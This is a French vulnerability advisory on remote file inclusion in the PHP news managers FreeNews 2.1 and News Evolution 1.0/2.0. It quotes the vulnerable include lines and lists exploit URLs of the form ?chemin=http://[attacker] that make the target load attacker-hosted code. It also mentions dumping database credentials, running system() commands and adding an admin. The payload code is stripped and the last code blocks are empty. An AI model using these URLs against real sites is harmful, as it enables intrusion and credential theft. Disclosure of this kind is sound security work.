FreeNews / NewsEvolution ************************ Informations : °°°°°°°°°°°°°° Langage : PHP Problème : Inclusion de fichiers a) ------------------- Produit : Freenews Version : 2.1 Website : http://www.prologin.fr ---------------------- b) ------------------- Produit : News Evolution Versions : 1.0, 2.0 Website : http://www.phpevolution.net ---------------------- Developpement : °°°°°°°°°°°°°°° Il faut d'abord savoir que les produits FreeNews et NewsEvolution son exactement les mêmes, à part quelques differences de code et certains noms de variables. Je fait donc un seul texte pour les 2. Ce sont des gestionnaires de news avancés avec installation automatique, partie admin, gestion des news double format, archives, moteur de recherche, smileys, format imprimable, gestion des commentaires,... La même faille se retrouvant plusieurs fois dans quelques fichiers fait que ce texte est plus une énummeration qu'autre chose... a) freenews 2.1 ~~~~~~~~~~~~~~~~ Dans aff_news.php on a le code suivant : ------------------------------------------------- include ("$chemin/config.php"); include ("$chemin/options.inc.php"); include ("$chemin/freenews_functions.inc.php"); ------------------------------------------------- La variable $chemin n'est définie dans aucun de ces deux fichiers, on peut donc la définir nous-même. On pourra donc, avec l'url http://[target]/aff_news.php?chemin=http://[attacker] inclure les fichiers : http://[attacker]/config.php http://[attacker]/options.inc.php http://[attacker]/freenews_functions.inc.php On pourra par exemple afficher les infos de la base de données (login, pass, host, nom) si un de ces trois fichiers contient le code : ------------------------------------------------------------------------------------------ "; ?> ------------------------------------------------------------------------------------------ On pourra également inclure les fichiers : http://[attacker]/moteur/moteur_form.php http://[attacker]/moteur/moteur_tab_results.php avec l'url http://[target]/moteur/moteur.php?chemin=http://[attacker] On pourrait aussi executer des commandes avec system(), ajouter un admin (il y a un exemple de requête d'ajout d'admin dans freenews.sql) et tout ce que permet le langage php avec les droits et restrictions du serveur [target]. b) News Evolution 1.0 ~~~~~~~~~~~~~~~~~~~~~ Toujours dans aff_news.php, on peut voir : ------------------------------------- include ("$chemin/config.php"); include ("$chemin/functions.inc.php"); include ("$chemin/options.inc.php"); ------------------------------------- Ce qui nous permettra d'inclure les fichiers : http://[attacker]/config.php http://[attacker]/functions.inc.php http://[attacker]/options.inc.php avec l'url http://[target]/aff_news.php?chemin=http://[attacker]/ Ainsi que dans /moteur/moteur.php, où on voit toujours le code : -------------------------------------------------- include ("$chemin/moteur/moteur_form.php"); include ("$chemin/moteur/moteur_tab_results.php"); -------------------------------------------------- Donc http://[target]/moteur/moteur.php?chemin=http://[attacker] inclura les fichiers : http://[attacker]/moteur/moteur_form.php http://[attacker]/moteur/moteur_tab_results.php Et dans export_news.php, toujours le même style de faille : --------------------------------------- include ("$chemin/config.php"); include ("$chemin/functions.inc.php"); include ("$chemin/options.inc.php"); include("$chemin/exporthtm.inc.php"); --------------------------------------- Qui nous permettra d'inclure les fichiers : http://[attacker]/config.php http://[attacker]/functions.inc.php http://[attacker]/options.inc.php http://[attacker]/exporthtm.inc.php avec l'url http://[target]/export_news.php?chemin=http://[attacker]/ Enfin, on pourra inclure http://[attacker]/config.php avec l'url http://[target]/comment2.php?chemin=http://[attacker]/ La requête admin se trouve dans newsevolution.sql. News Evolution 2.0 ~~~~~~~~~~~~~~~~~~ On peut voir dans backend.php : --------------------------------------------------------- include_once("$neurl/admin/modules/rss/easyRSS.inc.php"); --------------------------------------------------------- dans screen.php : --------------------------------------------------------- include_once("$neurl/admin/cfg/configsql.inc.php"); include_once("$neurl/admin/cfg/configscreen.inc.php"); include_once("$neurl/admin/cfg/configsite.inc.php"); include_once("$neurl/admin/cfg/configtache.inc.php"); include_once("$neurl/admin/$sitelang"); include_once("$neurl/admin/fonctions/fctscr.php"); include_once("$neurl/admin/fonctions/fctadmin.php"); include_once("$neurl/admin/fonctions/fctform.php"); include_once("$neurl/admin/modules/cache.php"); --------------------------------------------------------- dans admin/modules/comment.php : --------------------------------------------------------- @include_once("$neurl/admin/cfg/configscreen.inc.php"); @include_once("$neurl/admin/cfg/configsite.inc.php"); @include_once("$neurl/admin/$sitelang"); --------------------------------------------------------- dans admin/modules/editor/dlg_ins_image.php : --------------------------------------------------------- --------------------------------------------------------- et enfin dans admin/modules/editor/dlg_ins_smile.php : ---------------------------------------------------------